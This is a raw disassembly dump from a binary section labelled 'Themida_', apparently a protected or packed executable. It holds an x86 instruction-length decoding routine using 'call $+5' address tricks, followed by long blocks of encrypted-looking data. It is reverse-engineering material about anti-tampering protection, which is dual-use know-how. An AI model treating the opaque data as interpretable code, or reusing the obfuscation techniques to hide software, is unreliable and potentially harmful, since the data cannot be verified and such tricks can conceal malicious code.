2510C483h, 0FFh, 0BE148589h, 361060Ch, 0CBE14B5h dd 10858B06h, 5D060CBEh db 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_59870E mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_59871A ; --------------------------------------------------------------------------- loc_59870E: ; CODE XREF: Themida_:005986F7j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_59871A: ; CODE XREF: Themida_:00598709j push ebx push esi push edi loc_59871D: ; CODE XREF: Themida_:00598772j ; Themida_:0059878Ej ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_598730: ; CODE XREF: Themida_:00598757j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 60CBF7Ah lea ebp, [ebp+60CBDF0h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_59875D inc cl cmp cl, 0Bh jb loc_598730 loc_59875D: ; CODE XREF: Themida_:0059874Cj cmp cl, 0Bh jz loc_5987BA cmp al, 66h jnz loc_59879B cmp byte ptr [ebp-5], 0 jnz loc_59871D cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_598793 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_59871D ; --------------------------------------------------------------------------- loc_598793: ; CODE XREF: Themida_:00598780j and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_59879B: ; CODE XREF: Themida_:00598768j cmp al, 67h jnz loc_59871D cmp byte ptr [ebp-6], 0 jnz loc_59871D xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_59871D ; --------------------------------------------------------------------------- loc_5987BA: ; CODE XREF: Themida_:00598760j mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5987E6 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5987EB ; --------------------------------------------------------------------------- loc_5987E6: ; CODE XREF: Themida_:005987C5j movzx edi, al shr edi, 1 loc_5987EB: ; CODE XREF: Themida_:005987E1j push ebp call $+5 pop ebp sub ebp, 60CC032h lea ebp, [ebp+60CBCF0h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_59896D mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_5988B1 dec ecx jz loc_598894 dec ecx jnz loc_598904 cmp byte ptr [ebp-2], 0 jnz loc_598900 cmp byte ptr [ebp-5], 0 jz loc_598873 mov byte ptr [ebp+0Bh], 2 loc_598873: ; CODE XREF: Themida_:00598869j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 60CC0BEh mov dword ptr [ebp+60CBE10h], 1 pop ebp jmp loc_598904 ; --------------------------------------------------------------------------- loc_598894: ; CODE XREF: Themida_:0059884Ej cmp byte ptr [ebp-2], 0 jnz loc_5988DE cmp byte ptr [ebp-5], 0 jz loc_5988DE mov byte ptr [ebp+0Bh], 2 jmp loc_5988DE ; --------------------------------------------------------------------------- loc_5988B1: ; CODE XREF: Themida_:00598847j cmp byte ptr [ebp-2], 0 jnz loc_5988F7 cmp byte ptr [ebp-5], 0 jz loc_5988E6 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5988DE mov [ebp+0Bh], cl loc_5988DE: ; CODE XREF: Themida_:00598898j ; Themida_:005988A2j ... inc byte ptr [ebp+0Bh] jmp loc_598904 ; --------------------------------------------------------------------------- loc_5988E6: ; CODE XREF: Themida_:005988BFj cmp dl, 5 jnz loc_598904 mov [ebp+0Bh], dl jmp loc_598904 ; --------------------------------------------------------------------------- loc_5988F7: ; CODE XREF: Themida_:005988B5j cmp dl, 6 jnz loc_598904 loc_598900: ; CODE XREF: Themida_:0059885Fj mov byte ptr [ebp+0Bh], 3 loc_598904: ; CODE XREF: Themida_:00598855j ; Themida_:0059888Fj ... dec byte ptr [ebp+0Bh] jz loc_598932 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_598914: ; CODE XREF: Themida_:0059892Aj movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_598914 mov esi, edx loc_598932: ; CODE XREF: Themida_:00598907j and al, 0FEh cmp al, 0F6h jnz loc_598967 cmp edi, 7Fh ja loc_598967 test bl, 38h jnz loc_598967 cmp byte ptr [ebp-7], 0 jz loc_598961 movzx eax, byte ptr [ebp-4] jmp loc_598964 ; --------------------------------------------------------------------------- loc_598961: ; CODE XREF: Themida_:00598952j push 1 pop eax loc_598964: ; CODE XREF: Themida_:0059895Cj mov [ebp-1], al loc_598967: ; CODE XREF: Themida_:00598936j ; Themida_:0059893Fj ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_59896D: ; CODE XREF: Themida_:00598817j mov al, bl and eax, 7 sub eax, 4 jz loc_598998 dec eax dec eax jz loc_59898E and bl, 7 add [ebp-1], bl jmp loc_5989A0 ; --------------------------------------------------------------------------- loc_59898E: ; CODE XREF: Themida_:0059897Dj mov al, [ebp-3] add al, 6 jmp loc_59899D ; --------------------------------------------------------------------------- loc_598998: ; CODE XREF: Themida_:00598975j mov al, [ebp-3] add al, 4 loc_59899D: ; CODE XREF: Themida_:00598993j add [ebp-1], al loc_5989A0: ; CODE XREF: Themida_:00598989j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_5989C8 movzx ecx, byte ptr [ebp-1] inc ecx loc_5989B3: ; CODE XREF: Themida_:005989C2j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5989B3 loc_5989C8: ; CODE XREF: Themida_:005989A8j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- aLSs db '▀пИ≤',0 dd 940000h, 50000h, 10000h, 0A280000h, 20000h, 20h dup(0) dd 32480000h, 4AE94759h, 6800000Bh, 60CC467h, 0FABAC6E9h dd 0C56968FFh, 0BCE9060Ch, 68FFFABAh, 60CC665h, 0FABAB2E9h dd 0C6CC68FFh, 0A8E9060Ch, 68FFFABAh, 60CC7FCh, 0FABA9EE9h dd 0C85068FFh, 94E9060Ch, 68FFFABAh, 60CCB46h, 0FABA8AE9h dd 0CC3C68FFh, 80E9060Ch, 28FFFABAh, 22C95EF7h, 1BC257F6h dd 16BD52EDh, 12B94EE7h, 16B146DFh, 751043FEh, 710C39E0h dd 700335DCh, 710434DBh, 0B3A10FDCh, 43972F42h, 25A4768Dh dd 0AAA3EA2h, 5C46CD0Ah, 6E9E2B5Bh, 3E7C180Fh, 0C96A7E3Eh dd 52E88922h, 0FD9AC3CFh, 0F8CA33CEh, 556E5880h, 72079ECEh dd 932921A9h, 0F884F5E3h, 0FCCF49A2h, 721C0A12h, 2D47A20Eh dd 7C25B35Ah, 84CAB44Dh, 439BDD17h, 72A12E5Bh, 88F36D7h dd 0D79B42DBh, 943AFA44h, 2B267B1h, 9BDDA314h, 0C57A0D43h dd 1B9DF3DCh, 7DD6C093h, 1FB7A358h, 4182h, 0D627AA00h dd 0F2478B9h, 0ED94315Eh, 0FDC9B354h, 0F48A820Ah, 0A3018406h dd 46DCAF47h, 33DA6D9Dh, 997B09Ah, 1FCB2E60h, 0A6DDA7C5h dd 68AE9839h, 439C19FBh, 0F5FB4528h, 1FB697E0h, 0B6FAh dd 0FC2C5E00h, 83BC269h, 0F3FC66Dh, 1A4AD178h, 0C6FAE67Bh dd 4F49A3EEh, 72DB7AA6h, 0CD753511h, 9A9B85FDh, 8F36CB6Ah dd 7821C85Fh, 7462F8F0h, 47A29C3Ah, 0B82917C7h, 3439C6Bh dd 794C4630h, 9B931BE4h, 0F6675505h, 41439C6Ah, 8E7C846Eh dd 4194CDE1h, 8F00EE9Eh, 0DA3D92BDh, 50231D07h, 2F610ABAh dd 41E273A6h, 1617019Ah, 16BD52E3h, 817C52E3h, 0F1F07F44h dd 8D341C2h, 94C50000h, 99C56C01h, 94C269FEh, 8EBD64F9h dd 84B75EF3h, 0A9C15CF1h, 952ABBEEh, 8F24C1EEh, 861BB6E8h dd 8318AFDFh, 0E95A48B6h, 3443972Dh, 0F92C4B1Dh, 0FC2CD368h dd 0A62D469h, 6F48A82h, 47A30184h, 9203F1A1h, 0DD439CE1h dd 5326200Ah, 0E173E0ACh, 0BDA0439Ch, 0D1686D73h, 0DA721FB5h dd 0D6000000h, 4F7BFC2Ch, 0CF7009B0h, 0D36EA128h, 0EE2C602Ch dd 8CBC49A3h, 33B664F9h, 0AE9C3B5Dh, 49A3483Dh, 0D54CB588h dd 0B5D43D4Eh, 6ED41546h, 2353543Eh, 0AC34DD84h, 43751EB4h dd 867009B0h, 0F525CE7Eh, 3822BB62h, 0A27BB8F2h, 0EA805347h dd 0FCBE4A67h, 92629F02h, 1795FE51h, 0E15FF78h, 2FC5BD45h dd 9BA23BACh, 0E8D21E5Ch, 5A8730E0h, 608D14BBh, 0E4851EC5h dd 40ACB4FAh, 10E34195h, 39ED17Ah, 6C3DC06Eh, 0A1A9EE19h dd 0B7EAEBD5h, 3B1A8B56h, 37D84196h, 7E459661h, 64E514F0h dd 7D1h, 5EF392C3h, 57EC8BB7h, 52E782B0h, 4CE17CABh, 4ADF72A5h dd 0A9DC97AFh, 0AFDC8318h, 0A8DA8116h, 0A1D1780Dh, 36A47106h dd 972DD748h, 390B2243h, 0D368F92Ch, 0D469FC2Ch, 87752562h dd 49A3F216h, 0A3A48E61h, 0A62DD473h, 27C2F176h, 0A028F186h dd 0E1DA79E0h, 61F3BF53h, 0F44E4566h, 0B046E788h, 975F62C2h dd 99C88947h, 0DDCB5900h, 4396DF6Ch, 0B443E4B7h, 0B14AF184h dd 1ACA7A10h, 96DFBB2Ch, 49330643h, 0E87D1848h, 96DF1BFCh dd 0B4961D43h, 9A0BF987h, 0E54396DFh, 31CA7112h, 2151FA90h dd 0CEB94ABEh, 0C4650239h, 0E068BC1Dh, 35B3DDE8h, 40D30594h dd 42BA4F56h, 0E67C74FCh, 95EC4EF8h, 0AF360941h, 0C783F5A3h dd 170F97CFh, 0E5BD9381h, 5D8A7C5h, 352DB55Eh, 53CB19Fh dd 8457A1BAh, 821545EEh, 8A1646EDh, 0B5652B9Ch, 2A3769Dh dd 80FC452Ch, 0CD4E7D57h, 6D5h, 6AFF96C7h, 63F897C3h, 5EF38EBCh dd 58ED88B7h, 4EE37EB1h, 0ADE09BB3h, 0ABD87F14h, 0A4D67D12h dd 0A5D57C11h, 42B07D12h, 972CE354h, 45172E43h, 6C9C820Ah dd 751CBBEBh, 49A3BDCh, 2A6B2081h, 6C56E2BAh dword_598E68 dd 14167664h, 6A3D4797h, 72FF2BD4h, 7409AA43h, 5F06A1CDh ; DATA XREF: Themida_:0054B422o dd 370DA8D8h, 0FA632F68h, 6EE26392h, 60000006h, 5A01962Fh dd 53FA8F2Eh, 4EF58A25h, 4AF1861Fh, 4EE97E17h, 0AD487B36h dd 0A9447118h, 0A83B6D14h, 0A93C6C13h, 0EBD94714h, 43972C7Ah dd 0ADCAEC5h, 44F48A82h, 0B2DF689Bh, 42887213h, 4797B0E2h dd 0F7A03609h, 0D29B30C7h, 960F8F4Bh, 0DB821D49h, 730CD942h dd 614FE586h, 43972004h, 0E9B55C2Fh, 43971F7Bh, 757BC5A8h dd 1FBB8F60h, 477Ah, 830ADE00h, 98A336C7h, 0BBE81E5Eh dd 4AE08122h, 0A38AF75Ch, 0B85F3249h, 0CB54812Ah, 0C25B029Dh dd 0C3629221h, 8A2693D9h, 705349A3h, 23B520A6h, 112719AFh dd 8B000000h, 1A732h, 0CEBC6C00h, 49A3F25Dh, 1FEBD5A8h dd 1699C03Eh, 0C0AEAE6Bh, 49A3CA4Fh, 0CD5EC79Ah, 98CA599Eh dd 0D3BD56FDh, 9A3028B0h, 0A22102ACh, 63EABD47h, 35714457h dd 3D2AB2EAh, 0F160DE4Fh, 0B5562993h, 635B311Fh, 0A37691F0h dd 439D8A0Dh, 0B5A15DA9h, 8109B2CBh, 0DA35A694h, 619F8DEAh dd 566AE5F2h, 0A8491CA4h, 54AF2412h, 0F7CA8BE4h, 0FF88B861h dd 39839CCh, 0C3992C5Ch, 3DAA4F12h, 3E60E110h, 30000005h dd 2AD166FFh, 23CA5FFEh, 1EC55AF5h, 1AC156EFh, 1EB94EE7h dd 7D184B06h, 791441E8h, 780B3DE4h, 790C3CE3h, 0BBA917E4h dd 43972B4Ah, 2CAC7E95h, 2AD369FCh, 5C755FFEh, 9D332BB3h dd 0A2EB29AFh, 0FC916447h, 0BC922555h, 0FA697613h, 0EA2FB0DFh dd 0DC000004h, 0DE851AABh, 0D77E13B2h, 0D2790EA9h, 0CE750AA3h dd 0DA750A9Bh, 41D407C2h, 3DD805ACh, 34CF01A8h, 2DC8F89Fh dd 6F5DCB98h, 439729FEh, 2C603249h, 3BC269FCh, 3EC56C0Bh dd 45CC7312h, 12D67D18h, 0BC75B17Fh, 0DB0B3503h, 50F9A73Ch dd 429B8520h, 19AEBC93h, 4549h, 820AAD00h, 7071F48Ah, 0A773DAF7h dd 0BBA9B19Bh, 47A21569h, 0EEBA6134h, 439C0581h, 806E1EAEh dd 439C050Fh, 0CB66995Ah, 54EA8B24h, 9C04F566h, 836D4043h dd 0FDD81E28h, 0DF1FB6ACh, 38h, 9A2B5E07h, 820AE4B0h, 9B116C9Ch dd 0F5F2BBA5h, 44DA7B1Ch, 1EB9EB94h, 0E81AEE34h, 5E3147A2h dd 54F31FC8h, 5765D3BFh, 79A9439Ch, 76A249DEh, 1AAF30D7h dd 25000004h, 0F48A820Ah, 0A2D09406h, 650CDF47h, 7017AEDEh dd 7A21BCE9h, 8229C4F3h, 0D640CE17h, 0A57112A3h, 70F80412h dd 82F4E278h, 0CD419BAEh, 8DBB64FAh, 5A0108F2h, 45F58B2Ah dd 31D8699Ch, 0AE53C498h, 39E3D95h, 15167030h, 766001A6h dd 0F926CF5Dh, 0C74F725Ch, 0E14B39CFh, 0E3B9416h, 0F79E3965h dd 0DF7A745Eh, 42B0E72Eh, 2AD17201h, 7EA876BFh, 5922B74Eh dd 5543D9D1h, 358D74E3h, 2DB45B2Eh, 0EB4E7CFDh, 2D7E4EC8h dd 0B158F94Eh, 65D07718h, 7A02121Ch, 4B2E9F8Dh, 0A6793187h dd 77F9173Dh, 0EF909FE6h, 6926A959h, 739FDDE1h, 65D71D07h dd 0B02F8625h, 6B9E47DDh, 0B7A533DAh, 2B802546h, 331DBE91h dd 0C255852Ch, 0D061941Bh, 44D26529h, 760BAADAh, 972D25ADh dd 2588F9E7h, 9CCC2B80h, 41C96209h, 0CC7C846Eh, 0B158F723h dd 7EE82E18h, 0B9297F25h, 88B83FE6h, 92DB46EDh, 0F8F07884h dd 250A7462h, 84452378h, 7D16BD58h, 70A047DCh, 0EABC3FD5h dd 7C154488h, 0ACD33CD5h, 0DFF8E218h, 0F88D2858h, 0D36EA14Ah dd 463EC6E9h, 0A618C2B0h, 1CC51D71h, 756F59ECh, 0C22FFBA2h dd 0EF196B75h, 19BC020Ch, 0C349E739h, 3Ah, 8A820A27h, 801F4BF4h dd 0F28BFCEAh, 3D649A3h, 0A1231119h, 0CC47A301h, 198652F9h dd 46439CE1h, 0C213D563h, 181FB5D0h, 0EFh, 0BAE79040h dd 0D5D6471Bh, 4E21439Ch, 0A2259864h, 38158931h, 0F7F8E29Fh dd 28930C7h, 8DE56ECFh, 2713E7C9h, 2AD16C98h, 0D75AF091h dd 0B4FB0C4Bh, 77907A58h, 7E25C0F0h, 9B30C7F7h, 0A3247BAFh dd 3CDB0B49h, 35D000A7h, 655DE58Eh, 5FF626CFh, 2D351FB8h dd 0A204513Fh, 56019C47h, 6566407Ah, 145ACBB9h, 0D2A5439Ch dd 32FB9031h, 6C1CB2AAh, 145DCEBCh, 0DA8439Ch, 6CE71787h dd 7A09AAE4h, 80C6B04Dh, 4194B7F0h, 1ECE6437h, 0C8B24575h dd 6C0194C7h, 63792C5h, 791442B9h, 7AF9CA10h, 2C603D9h dd 8DBCF07Fh, 1F40Ch, 20B5E600h, 1DB8E48Bh, 18B3E188h dd 14ADDC83h, 0CA5D87Fh, 9C4DC77h, 0FFA63BD6h, 0F79E33D2h dd 0F69D32C5h, 0CD9A2FC6h, 2700715Fh, 344B4397h, 68F92C62h dd 69FC2CD3h, 0DAA326D4h, 0C64E7CA2h, 25602C16h, 0CCB64F7Ch dd 932921A9h, 0A30123A5h, 0C7B34E47h, 758D2F94h, 0A57118B9h dd 439C0438h, 32B48265h, 1FB6ADA3h, 0C839h, 0FC2C9D00h dd 9B04F7Bh, 9A28CF70h, 87EFE717h, 0C86877E6h, 91DF488Ah dd 4ADD0F3Dh, 0D3690AA3h, 0A3BB74E5h, 2ECBF49h, 8C33CE01h dd 0A3B78CC0h, 59EC1C49h, 5AED1DC4h, 8A820AB3h, 971806F4h dd 0AC5547A2h, 0A33CE37Eh, 0A54CE514h, 5528220Ch, 776FF7C0h dd 598831E1h, 0EB90D6C0h, 0A64194ECh, 61943DD3h, 61943BD0h dd 7AA658DBh, 3F691746h, 9215FA6Bh, 0F3F6643Dh, 17009F56h dd 451BBC8Fh, 0F07F108Eh, 0FEC44574h, 0F0000000h, 0EA9126BFh dd 0E38A1FBEh, 0DE851AB5h, 0DA8116AFh, 0DE790EA7h, 3DD80BC6h dd 39D401A8h, 38CBFDA4h, 39CCFCA3h, 7B69D7A4h, 4397260Ah dd 256C3E55h, 0CEB8497Ch, 72079ACDh, 67FC9BCBh, 4F7C25F5h dd 9BCBCCB6h, 9ECE55FCh, 71B1ED3Fh, 0EC8DCCE5h, 19068E57h dd 0A3C2BA2Bh, 91320549h, 0EC5D4BFBh, 3749A3C1h, 0C2727A64h dd 0C2B32412h, 2BFE49A3h, 0C236A795h, 0AE8149A3h, 7F7A7EC4h dd 0DEB14797h, 0D100A937h, 69F89138h, 5FF89F3Ah, 0B1447475h dd 0B83F721Bh, 614BEC85h, 1C83B35Ah, 69B6EE96h, 5D04A520h dd 64143191h, 2BD41404h, 0A64171FEh, 36C55E05h, 32CB7203h dd 0F523ED48h, 0DE4F3DC5h, 29024164h, 0FB9AC756h, 841ABB54h dd 0EF1EABDBh, 7516AF56h, 2DD6848Bh, 25BE6500h, 6B0A3A3Bh dd 730E3DC4h, 0E1861CCh, 0C055F020h, 9F3A6912h, 0F184B4B5h dd 3C94Ah, 5E3F0000h, 6AFB2C7Ch, 790C3CC3h, 7E194BD2h dd 8A2350D7h, 98295CE3h, 9E376AF1h, 0A84170F7h, 0B14C7A01h dd 0B857830Ah, 54576711h, 4C7815Fh, 83000000h, 3C8704EFh dd 8F685C24h, 8900005Ah, 8956241Ch, 4C681E6h, 83000000h dd 348704EEh, 2C895C24h, 0BB535024h, 29544311h, 0BB5BD889h dd 0DCB87FF3h, 5458C301h, 81242C8Bh, 4C4h, 34815300h, 0B02BCA24h dd 8458F08h, 400BB951h, 0D1F764AAh, 0E181D1F7h, 6C4204CFh dd 0E1C1E1D1h, 0CAF18108h, 310CB03Dh, 8B59084Dh, 8952242Ch dd 4C281E2h, 83000000h, 148704C2h, 34FF5C24h, 0C4815B24h dd 4, 0FAAF92E9h, 4A1EEDFFh, 0BFE176D4h, 0A397B143h, 0CD5FB8F2h dd 0C503060Ch, 50F0E0FFh, 9D94086Dh, 384D1A8Fh, 6C6C7C05h dd 5F825BAh, 0F2E2BA9h, 131077FFh, 6F0609D7h, 0F378245Bh dd 0E7464FD3h, 0F4BF39F5h, 81E7CB3h, 77A458E4h, 6CC93FDCh dd 7F8B0B8Eh, 0DC2609AFh, 0E60D283Ch, 1D5D0600h, 0E1D1537Fh dd 323E5808h, 82B178E3h, 0A804131Fh, 24EB04E7h, 9 dup(0) dd 0BDE9h db 0 byte_599649 db 89h, 0B5h, 61h ; DATA XREF: Themida_:0053E78Co dd 8B060CCEh, 719BD85h, 15858B06h, 8D060719h, 0CCEABB5h dd 17858D06h, 0FF060A48h, 0E855C3D0h, 0 dd 0B1ED815Dh, 83060CCEh, 719BDBDh, 850F0106h, 2Ch, 0CE61B5FFh dd 858B060Ch, 6071915h, 81273635h, 3CD0FF34h, 0A850F01h dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 60CCE65h dd 61B5FF56h, 8B060CCEh, 7191585h, 27363506h, 0D0FF3481h dd 8D0CC483h, 0CCE65B5h, 14468B06h, 8304E083h, 840F04F8h dd 7, 5E9C033h, 0B8000000h, 1, 19BDBD83h, 0F010607h, 785h dd 0E9C35D00h, 2, 858DCF5Dh, 60CCE8Ah, 1FCD8589h, 8D8D0607h dd 60CD035h, 2FDD9D33h, 8D890607h, 6071AD9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0DC35242h, 97312284h dd 6860F23h, 89000000h, 70409BDh, 1D85C706h, 4060710h dd 6A000066h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 2134C351h, 0C79AF780h, 7330585h dd 6, 0E880F00h, 0E9000000h, 9, 8A800FA4h, 18A81DBDh, 69B5FFE5h dd 0E8060704h, 12h, 6058BC56h, 82BF1A01h, 7D845645h, 0DCB1668Eh dd 6E95790h, 2000000h, 0A6122D19h, 95FF5894h, 6071859h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 6BC35747h dd 93E10279h, 260626F2h, 0FF006AF8h, 70D6995h, 0EBC08B06h dd 9CC49E48h, 0AB764E92h, 41FF4786h, 34F26920h, 0F750F478h dd 0BC46E715h, 0E06F61A8h, 2E2AA481h, 8B9C2BB2h, 2D2DA2EBh dd 0A943F7DEh, 0E5106324h, 0E30F1DBAh, 9BA1F543h, 11A84CD1h dd 0C02A3E08h, 0A0F966C6h, 0FA384B03h, 0DE8CAh, 0E65E0000h dd 8CF65BF7h, 0C6F8546Eh, 668D1CEEh, 58B462BBh, 141DBD2Bh dd 0C0810607h, 6896h, 12FDBD29h, 0C9330607h, 1850160h dd 66060714h, 61B209B8h, 8108348Bh, 7CF9B0C7h, 24EE8133h dd 0F47879Fh, 8Ah, 96F68100h, 0E935C7B3h, 10h, 4D3B4037h dd 32C8EB39h, 28EF0207h, 0F1BB55E8h, 576CC681h, 8D8920F6h dd 6071911h, 0F083489h, 685h, 6DBD8900h, 8B06072Eh, 40E981DEh dd 5672F204h, 58F0Fh, 81660000h, 5A4A69EFh, 43CC181h, 0F98172F2h dd 0FFFF9814h, 0FF8E850Fh, 890FFFFFh, 4, 0C47CBB66h, 0ABE9h dd 2E8D5000h, 72B11C3Fh, 0ACABDA5Fh, 92B395A7h, 95A1F445h dd 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h dd 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h dd 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh dd 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h, 0AFF144D6h dd 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh dd 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh dd 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh dd 0E7A601E8h, 83323D94h, 31711188h, 134EE9h, 0D3E46800h dd 90E9060Ch, 68FFFAABh, 60CD4E3h, 0FAAB86E9h, 0D5EB68FFh dd 7CE9060Ch, 68FFFAABh, 60CD746h, 0FAAB72E9h, 0D7DA68FFh dd 68E9060Ch, 68FFFAABh, 60CD899h, 0FAAB5EE9h, 0D95868FFh dd 54E9060Ch, 68FFFAABh, 60CDA07h, 0FAAB4AE9h, 0DAD068FFh dd 40E9060Ch, 68FFFAABh, 60CDC16h, 0FAAB36E9h, 0DD1D68FFh dd 2CE9060Ch, 68FFFAABh, 60CDE5Dh, 0FAAB22E9h, 0DF8468FFh dd 18E9060Ch, 68FFFAABh, 60CE146h, 0FAAB0EE9h, 0E25B68FFh dd 4E9060Ch, 0ACFFFAABh, 0AE55EA7Bh, 0A74EE382h, 0A249DE79h dd 9E45DA73h, 0AA45DA6Bh, 11A4D792h, 0DA8D57Ch, 49FD178h dd 0FD98C86Fh, 3F2D9B68h, 439720CEh, 4BF40219h, 42DB821Dh dd 0FC2C8C58h, 0B3BC269h, 0C87B55A4h, 0A2FE69DAh, 78E1B449h dd 9A3BF013h, 0BCB43C05h, 9DCD7626h, 30DA200Ah, 0EB47A287h dd 56C43523h, 3C0F439Ch, 0BB28F49Bh, 0FF439C56h, 78E35D0h dd 0D59940D7h, 9238F442h, 765F61AFh, 641FB658h, 31h, 8A820AC8h dd 18406F4h, 0DCAF47A3h, 2E24A735h, 9203F190h, 0DD439C0Ah dd 0A763A10Ah, 0E7BC1ABh, 3B439C22h, 0CD08CE58h, 0F1FB68Fh dd 0E8h, 69FC2C73h, 588B34C2h, 9FD2D3BDh, 0A8D85F06h, 0AFDF660Dh dd 0C061FC2Ah, 2C67A72Ah, 0CA8604E7h, 0EB5440FCh, 0EDD72D37h dd 618F38E6h, 9C861FC6h, 0A3C7A056h, 7C043449h, 0A3C71D8Eh dd 0B2A06849h, 49A3C741h, 7718B98Ch, 6C0B3BE2h, 0A7941CC5h dd 0A3C748B9h, 1FC09349h, 0D8619B89h, 29FC47A2h, 4836E694h dd 439CA7D7h, 0FB6C5A22h, 46439CA6h, 0C5E8D273h, 9124573Dh dd 6549E528h, 0EB8C1302h, 0EABA6755h, 0B2854194h, 0B740731Ch dd 0B14AF184h, 24CD7B10h, 21BA61F4h, 0AA033637h, 439B1EABh dd 744AEB03h, 0F07FFC6Fh, 0A1A32453h, 48000010h, 42E97E17h dd 3BE27716h, 36DD720Dh, 32D96E07h, 36D166FFh, 9530631Eh dd 912C5900h, 902355FCh, 912454FBh, 0D3C12FFCh, 43971F62h dd 2CC496ADh, 2CD368F9h, 62D469FCh, 0F48A820Ah, 0A3018406h dd 35DCAF47h, 6FCEFEA7h, 0CF27B547h, 0BCA647C0h, 9CD00976h dd 0C5533643h, 0B5E1D203h, 0EB081Fh, 2C6C0000h, 0E0C6A1FCh dd 0E5343D90h, 0EE8F2656h, 0F48DC047h, 0E5CB814Dh, 2F5F49A3h dd 29590298h, 31D871A0h, 0B750F798h, 59A5F54Eh, 15FFF58Fh dd 88B7600Eh, 0D20203EDh, 5BE38C33h, 90C24375h, 14AD54F5h dd 0E05ADD73h, 677688E3h, 0BEACB49Eh, 47A22584h, 0C2A58E11h dd 70B71EC9h, 91E1FD07h, 2812F720h, 18C65B2Eh, 4BB81B95h dd 7C663228h, 43D9D159h, 2BBDEA93h, 9C9FCC3Dh, 0A3441743h dd 337963FCh, 4195052Bh, 50F98F62h, 48EF841Dh, 37A67C15h dd 3F07E7Dh, 0FA253D4h, 18490000h, 1541E87Dh, 103EE57Ah dd 0A39E075h, 33DA6Fh, 1D35D065h, 1962F62h, 0FB902D5Ah dd 0FA8F2254h, 0EF842353h, 55C6B422h, 0A043971Eh, 0F92CB789h dd 28200EA0h, 26F962FBh, 0B147E835h, 0D43DD808h, 9A7915D9h dd 0E3EAD4E6h, 0E4790C3Ch, 69FC2C72h, 200E50D3h, 41A25D6Eh dd 2C261AA4h, 5943E465h, 0EE89B940h, 0E483AF58h, 1E4CF3FAh dd 2555DC83h, 9368FD92h, 17ADA52Dh, 0A2DA7F29h, 84723A47h dd 439CCA13h, 54EA8B5Eh, 401496D1h, 2B152CCDh, 0C8B82632h dd 52DAB216h, 692EFD92h, 2F98DDF6h, 0C55561h, 23B95AE5h dd 7AE477Ah, 8E7C846Eh, 4A11E3CCh, 6FFDA477h, 4CE916BFh dd 0C7380CA5h, 12460BC3h, 0E37EB03Fh, 684ED6F9h, 61FAA13Ch dd 0CA7A2AC0h, 0BC36BDCh, 0F9E3B646h, 5F33EB3h, 0F0865944h dd 0EA801747h, 53DB4C3Ah, 53264001h, 0BB46269h, 575842DDh dd 39BA9027h, 0F9F5CC1Fh, 0E9A49CAh, 10410000h, 0D39E075h dd 836DD72h, 231D86Dh, 0F82BD267h, 152DC85Dh, 0F98E275Ah dd 0F3882552h, 0F2871A4Ch, 0E77C1B4Bh, 4DBEAC1Ah, 9843971Dh dd 0FC2CAF81h, 0F2158674h, 8D6049A3h, 149C45ECh, 0C067FE2Eh dd 2F08627h, 47A2F254h, 0DB64C1Fh, 0D407EE1h, 0E3E83B20h dd 88515842h, 0C2720800h, 0A44BE619h, 59DB210Bh, 76419B91h dd 0EC199ACDh, 2C1AB051h, 3D9591BBh, 4F493306h, 9C09D57Ch dd 0E03D9591h, 0E97017B2h, 0D0771EB9h, 0CA2D31FFh, 0DE272C2Eh dd 2508AE4Fh, 0D700D51Bh, 32DA25BCh, 3E000000h, 0F48A820Ah dd 0CC6B9B44h, 5CA28C25h, 47A33688h, 